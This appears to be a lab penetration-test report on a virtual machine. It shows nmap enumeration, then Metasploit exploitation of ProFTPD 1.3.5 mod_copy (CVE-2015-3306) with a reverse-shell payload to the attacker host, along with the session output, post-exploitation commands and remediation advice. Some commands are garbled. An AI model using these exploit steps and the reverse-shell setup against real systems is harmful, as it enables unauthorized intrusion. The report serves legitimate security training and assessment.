

Vulnerability Assessment Report

1. Introduction

This report presents the findings of a vulnerability assessment and penetration test conducted on the provided virtual machine (ERULNX16.ova). The assessment's goal was to simulate a real world attack to identify security weaknesses, evaluate their potential impact, and provide clear recommendations for remediation.

2. Methodology

The assessment followed standard penetration testing phases:

Setup and Discovery

- The target VM was configured on the same network as the Kali Linux assessment machine.
- The target VM's IP address was identified through a network scan (e.g., `sudo nmap SS -O /24`), locating the target IP (e.g., 10.0.2.9 or 192.168.56.101).

2.1 Enumeration

Nmap Service Scan

Command:

```
nmap -sC -sV -O 192.168.28.129 -oN nmap_initial.txt
```

Findings:

21/tcp	open	ftp	ProFTPD 1.3.5
22/tcp	open	ssh	OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
80/tcp	open	http	Apache httpd 2.4.7
445/tcp	open	netbios-ssn	Samba smbd 4.3.11-Ubuntu
631/tcp	open	ipp	CUPS 1.7
3306/tcp	open	mysql	MySQL (unauthorized)
8080/tcp	open	http	Jetty 8.1.7.v20120910

```
(elliott@kali) - [~/Desktop/mulern/task]
$ nmap -sV -o 192.168.28.129 -oN nmap_initial.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 02:17 EDT
Nmap scan report for 192.168.28.129
Host is up (0.0029s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.5
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.7
445/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp    open  ipp      CUPS 1.7
3000/tcp   closed ppp
3306/tcp   open  mysql    MySQL (unauthorized)
8080/tcp   open  http     Jetty 8.1.7.v20120910
8181/tcp   closed intermapper
MAC Address: 00:0C:29:35:F2:95 (VMware)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 - 4.4 (94%), Linux 3.13 (94%), OpenWrt C
aos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 8 - 9 (Linux 3.18 - 4.4) (94%), Linux 3.2 -
.10 (94%), Linux 3.2 - 3.16 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.49 seconds
```

Service Notes

- **FTP (ProFTPD 1.3.5)** – Vulnerable to mod_copy Remote Command Execution (CVE2015-3306).
- **HTTP (Apache 2.4.7)** – Directory listing enabled, accessible folders: chat/, drupal/, payroll_app.php, phpmyadmin/.
- **Samba (4.3.11)** – Message signing disabled → MITM risk.
- **CUPS (1.7)** – PUT method allowed, potential file upload vector.
- **MySQL** – Open to external connections, requires credentials.
- **Jetty (8.1.7)** – Outdated Java web server, possible RCE exploits.

2.2 Exploitation Exploit Research

Searched for ProFTPD exploits: searchsploit

ProFTPD 1.3.5

Found: **ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (Metasploit)**

(elliott@kali) - [~/Desktop/mulern/task]	
\$ searchsploit ProFTPD 1.3.5	
Exploit Title	Path
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit)	linux/remote/37262.rb
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution	linux/remote/36803.py
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (2)	linux/remote/49908.py
ProFTPD 1.3.5 - File Copy	linux/remote/36742.txt
Shellcodes: No Results	
(elliott@kali) - [~/Desktop/mulern/task]	
\$	

2.3 Gaining Access (Metasploit)

Steps:

```

msfconsole search ProFTPD 1.3.5 use
exploit/unix/ftp/proftpd_modcopy_exec set
RHOST 192.168.28.129 set SITEPATH
/var/www/html set payload
cmd/unix/reverse_perl
exploit

```

Result: Reverse shell opened as www-data.

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 192.168.28.129:80 - 192.168.28.129:21 - Connected to FTP server
[*] 192.168.28.129:80 - 192.168.28.129:21 - Sending copy commands to FTP server
[*] 192.168.28.129:80 - Executing PHP payload /CgioVm.php
[*] 192.168.28.129:80 - This exploit may require manual cleanup of '/var/www/html/CgioVm.php' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set lhost 192.168.28.128
lhost => 192.168.28.128
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set ReverseListenerBindAddress 0.0.0.0
ReverseListenerBindAddress => 0.0.0.0
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 192.168.28.129:80 - 192.168.28.129:21 - Connected to FTP server
[*] 192.168.28.129:80 - 192.168.28.129:21 - Sending copy commands to FTP server
[*] 192.168.28.129:80 - Executing PHP payload /B2P0zr.php
[*] 192.168.28.129:80 - Deleted /var/www/html/B2P0zr.php
[*] Command shell session 1 opened (192.168.28.128:4444 -> 192.168.28.129:51278) at 2025-08-16 02:36:30 -0400

```

Post-Exploitation Enumeration Commands

executed inside the shell:

```
whoami uname -
```

```
a ls
```

```
/var/www/html
```

Findings:

- User: www-data
- Directories: chat/, drupal/, payroll_app.php, phpmyadmin/, uploaded shell

```

[*] Command shell session 1 opened (192.168.28.128:4444 -> 192.168.28.129:51278) at 2025-08-16 02:36:30 -0400

whoami
www-data
uname a
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
ls /var/www/html
AVXxf.php
CgioVm.php
chat
drupal
payroll_app.php
phpmyadmin

```

3. Vulnerability Explanation – ProFTPD mod_copy

The **mod_copy** module allows use of SITE CPFR (copy from) and SITE CPTO (copy to) commands for file operations. In ProFTPD 1.3.5, access control was improperly enforced:

- Attackers can copy arbitrary files without authentication.
- Malicious payloads can be uploaded into web directories.
- This leads directly to **Remote Command Execution (RCE)**.

Exploit Path in This Case:

1. Malicious payload copied to /var/www/html.
2. Triggered via HTTP request.
3. Attacker obtained a remote shell.

Additional Findings

- **Apache Directory Listing**: Exposes sensitive files.
- **Samba**: Message signing disabled → vulnerable to network-level attacks.
- **CUPS (631)**: Risky HTTP methods (PUT) allowed.
- **Jetty 8.1.7**: Outdated, several RCE CVEs.

Recommendations

- **ProFTPD**: Upgrade to >1.3.5a or disable mod_copy.
- **Apache**: Disable directory listing in config.
- **Samba**: Enable signing, restrict to trusted hosts.
- **CUPS**: Limit to localhost; restrict HTTP methods.
- **MySQL**: Restrict remote access; enforce strong credentials.
- **Jetty**: Patch or replace with a supported version.
- **General**: Apply regular patching, hardening, and segmentation.

4. Risk Assessment Table

Service / Component	Vulnerability	CVE	CVSS (v3.1) Score
ProFTPD 1.3.5	mod_copy Remote Command Execution	CVE-2015-3306	9.8 (CRITICAL)
Apache 2.4.7	Directory Listing Enabled	N/A	5.3 (MEDIUM)
Samba 4.3.11	Message Signing Disabled	N/A	7.4 (HIGH)
CUPS 1.7	PUT Method Allowed	N/A	6.0 (MEDIUM)
MySQL	Remote Access Exposed	N/A	7.5 (HIGH)
Jetty 8.1.7	Outdated Version with Known RCEs	Multiple CVEs	8.1 (HIGH)

5. Conclusion

Exploit of a known ProFTPD vulnerability led to compromise of the VM. Multiple additional misconfigurations facilitate further exploitation. Immediate patching and configuration hardening are required to mitigate critical exposure.